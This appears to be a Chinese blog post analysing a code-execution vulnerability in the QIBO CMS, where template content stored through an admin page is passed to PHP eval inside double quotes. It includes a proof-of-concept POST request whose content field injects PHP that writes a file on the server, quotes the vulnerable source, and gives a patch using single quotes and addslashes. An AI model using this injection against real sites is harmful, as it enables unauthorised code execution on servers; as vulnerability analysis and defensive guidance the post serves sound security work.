• QIBO /do/jf.php EvilCode Execution Injected By /hack/jfadmin/admin.php


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    这个漏洞的成因简单来说可以归纳为如下几点

    1. 类似于ECSHOP的的模版代码编译功能,QIBO允许在文章中添加指定格式的模版代码
    2. 在显示文章的时候,QIBO会使用: eval("$rs2[title]="$rs2[title]";");方式对模版动态变量进行赋值
    3. 黑客可以通过XSS、CSRF劫持管理员向数据库中注入恶意代码: ${@fwrite(fopen('ali.php', 'w+'), 'test’)}
    4. 由于PHP的动态执行特性,eval赋值的时候,在双引号中的代码会被动态执行,从而导致原本的变量赋值变成了代码执行入口

    Relevant Link:


    2. 漏洞触发条件

    攻击向量

    1. 黑客需要向{$pre}jfabout数据表注入恶意代码
        1) 黑客直接拿到管理员密码,登录了后台
        2) CSRF
        3) XSS攻击
    2. 文章显示的时候,对模版变量进行解析,未对模版内容本身进行有效的过滤、恶意判断

    0x1: POC

    http://localhost/qibo/admin/index.php?lfj=jfadmin&action=addjf
    POST:
    title=test&content=${@fwrite(fopen('ali.php', 'w+'), 'test’)}&list=1
    
    或者普通用户访问/do/jf.php,即可在do目录下生成ali.php文件


    3. 漏洞影响范围
    4. 漏洞代码分析

    /do/jf.php

    <?php
    require(dirname(__FILE__)."/"."global.php");
    
    
    $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
    
    $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
    while($rs = $db->fetch_array($query))
    {
        $fnameDB[$rs[fid]]=$rs[name];
        $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
        while($rs2 = $db->fetch_array($query2))
        {
            /*
            1. 用于变量赋值的客体用双引号包裹,PHP curl syntax(${${}})可以执行
            2. 未对模版内容进行转义处理,存在闭合注入的可能
            */
            eval("$rs2[title]="$rs2[title]";");
            eval("$rs2[content]="$rs2[content]";"); 
            $jfDB[$rs[fid]][]=$rs2;
        }
    }
    
    require(ROOT_PATH."inc/head.php");
    require(html("jf"));
    require(ROOT_PATH."inc/foot.php");
    
    ?>

    /hack/jfadmin/admin.php

    //通过这个向量黑客可以向{$pre}jfabout数据表注入恶意代码
    ..
    elseif($action=="addjf"&&$Apower[jfadmin_mod])
    {
        $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");
        jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
    }
    ..


    5. 防御方法

    /do/jf.php

    <?php
    require(dirname(__FILE__)."/"."global.php");
    
    
    $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);
    
    $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
    while($rs = $db->fetch_array($query)){
        $fnameDB[$rs[fid]]=$rs[name];
        $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
        while($rs2 = $db->fetch_array($query2)){
            //eval("$rs2[title]="$rs2[title]";");
            //eval("$rs2[content]="$rs2[content]";");
            $rs2[title] = addslashes($rs2[title]);
            $rs2[content] = addslashes($rs2[content]);
            eval("$rs2[title]='$rs2[title]';");
            eval("$rs2[content]='$rs2[content]';");
            $jfDB[$rs[fid]][]=$rs2;
        }
    }
    
    require(ROOT_PATH."inc/head.php");
    require(html("jf"));
    require(ROOT_PATH."inc/foot.php");
    
    ?>

    代码防御的关键点主要如下

    1. 将eval赋值语句内的双引号改为单引号,禁止其PHP动态执行特性
    2. 在参数外层包裹addslash,防止黑客注入进行闭合


    6. 攻防思考

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    【BZOJ】1827: [Usaco2010 Mar]gather 奶牛大集会
    【BZOJ】1708: [Usaco2007 Oct]Money奶牛的硬币
    【BZOJ】1690: [Usaco2007 Dec]奶牛的旅行
    【BZOJ】1725: [Usaco2006 Nov]Corn Fields牧场的安排
    【BZOJ】1711: [Usaco2007 Open]Dining吃饭
    【BZOJ】1579: [Usaco2009 Feb]Revamping Trails 道路升级
    【BZOJ】1572: [Usaco2009 Open]工作安排Job
    【51NOD】1717 好数
    【POJ】3233 Matrix Power Series
    【BZOJ】1717: [Usaco2006 Dec]Milk Patterns 产奶的模式
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4483388.html
Copyright © 2020-2023  润新知